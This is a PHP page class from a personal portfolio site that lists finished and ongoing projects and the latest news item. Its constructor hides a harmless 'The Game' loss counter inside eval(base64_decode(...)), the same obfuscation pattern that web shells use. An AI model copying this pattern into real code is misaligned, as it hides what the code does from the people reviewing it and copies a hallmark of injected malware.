display->loadSkin( "index" ); class index extends binBase { function index() { global $bin; $this->construct(); $this->output = $bin->skin->index->page( $this->getProjects(2,0), // pWeb $this->getProjects(1,0), // cWeb $this->getProjects(2,1), // pDesk $this->getProjects(1,1), // cDesk $this->getNews() ); eval( base64_decode( "aWYgKCBpc3NldCggJGJpbi0+UE9TVFsnZm9ybSddICkgJiYgJGJpbi0+UE9TVFsnZm9ybSddID09ICJ0aGVHYW1lIiApDQoJCXsNCgkJCSRnREIgPSBuZXcgbXlzcWxfZHJpdmVyKCk7DQoJCQkkZ0RCLT5pbmYgPSAkYmluLT5jb25mWydkYiddWydteXNxbCddOw0KCQkJJGdEQi0+Y29ubmVjdCggInNlaWdvdXNfZ2FtZSIgKTsNCgkJCSRnREItPnF1ZXJ5KCAiVVBEQVRFIGBwbGF5ZXJzYCBTRVQgYGxvc3Nlc2AgPSBgbG9zc2VzYCArMSwgYGxhc3RgID0gJyIuIHRpbWUoKSAuIicgV0hFUkUgYG5hbWVgID0gJ2FsZXgnOyIgKTsNCgkJCWhlYWRlciggIkxvY2F0aW9uOiAiLiAkYmluLT5mdW5jLT5mb3JtYXRVUkwoICJpbmRleCIsICJ0aGVHYW1lIiwgImNvdW50IiApICk7DQoJCX0NCgkJZWxzZSBpZiAoIGlzc2V0KCAkYmluLT5VUkxbMV0gKSAmJiAkYmluLT5VUkxbMV0gPT0gInRoZUdhbWUiICkNCgkJew0KCQkJJHRpbWUgPSAkYmluLT5mdW5jLT5nZXREYXRlKCAiIiwgIi1tZWRpdW0iLCAtMSApOw0KCQkJJGdEQiA9IG5ldyBteXNxbF9kcml2ZXIoKTsNCgkJCSRnREItPmluZiA9ICRiaW4tPmNvbmZbJ2RiJ11bJ215c3FsJ107DQoJCQkkZ0RCLT5jb25uZWN0KCAic2VpZ291c19nYW1lIiApOw0KCQkJJGNvdW50ID0gJGdEQi0+ZXhlY3V0ZSggIlNFTEVDVCAqIEZST00gYHBsYXllcnNgIFdIRVJFIGBuYW1lYCA9ICdhbGV4JzsiICk7DQoJCQkkY291bnQtPmxhc3QgPSAkYmluLT5mdW5jLT5nZXREYXRlKCAkY291bnQtPmxhc3QsICIiLCAtMSApOw0KCQkJaWYgKCBpc3NldCggJGJpbi0+VVJMWzJdICkgJiYgJGJpbi0+VVJMWzJdID09ICJjb3VudCIgKQ0KCQkJew0KCQkJCQ0KCQkJCSR0aGlzLT5vdXRwdXQgPSA8PDxIVE1MDQo8ZGl2IGFsaWduPSJjZW50ZXIiPiAgPGRpdiBjbGFzcz0iYm94Ij4NCjxiciAvPjxiciAvPjxiciAvPg0KPHN0cm9uZz5Mb3NzZXM6IDwvc3Ryb25nPiB7JGNvdW50LT5sb3NzZXN9PGJyIC8+DQo8c3Ryb25nPkxhc3Q6IDwvc3Ryb25nPiB7JGNvdW50LT5sYXN0fTxiciAvPg0KPC9kaXY+ICA8L2Rpdj4NCkhUTUw7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkkdGhpcy0+b3V0cHV0ID0gPDw8SFRNTA0KPGRpdiBhbGlnbj0iY2VudGVyIj4gIDxkaXYgY2xhc3M9ImJveCI+DQo8YnIgLz48YnIgLz48YnIgLz4NCjxmb3JtIGFjdGlvbj0iLyIgbWV0aG9kPSJwb3N0IiBuYW1lPSJ0aGVHYW1lIiAvPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9ybSIgdmFsdWU9InRoZUdhbWUiIC8+DQo8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJBZGQgTG9zcyIgY2xhc3M9ImJfZ3JlZW4iIC8+DQo8L2Rpdj4gIDwvZGl2Pg0KSFRNTDsNCgkJCX0NCgkJfQ==" ) ); } function getProjects($status, $type) { global $bin, $db; $timestamp = ( $status == 2 ) ? "finished" : "started"; $projects = $db->mysql->query( sprintf( $this->query['list'], $status, $type, $timestamp ) ); $list = ""; while ( $p = $db->mysql->fetch($projects) ) { $p->section = ( $p->status == 2 ) ? "portfolio" : "projects" ; $p->datetype = ( $p->status == 2 ) ? "Date Finished" : "Date Started"; $p->timestamp = $bin->func->getDate( ( $p->status == 2 ) ? $p->finished : $p->started, "-medium", -1 ); $list .= $bin->skin->index->project($p); } return ( !empty($list) ) ? $list : "
---
"; } function getNews() { global $bin, $db; $news = $db->mysql->execute( sprintf( $this->query['news'] ) ); if ( !isset( $news->id ) ) return ""; else { $date = $bin->func->getDate( $news->timestamp ); if ( is_array( $date ) ) $date = $date[0] ." ". $date[1]. " ago"; return $bin->skin->index->news( stripslashes( $news->text ), $date ); } } } ?>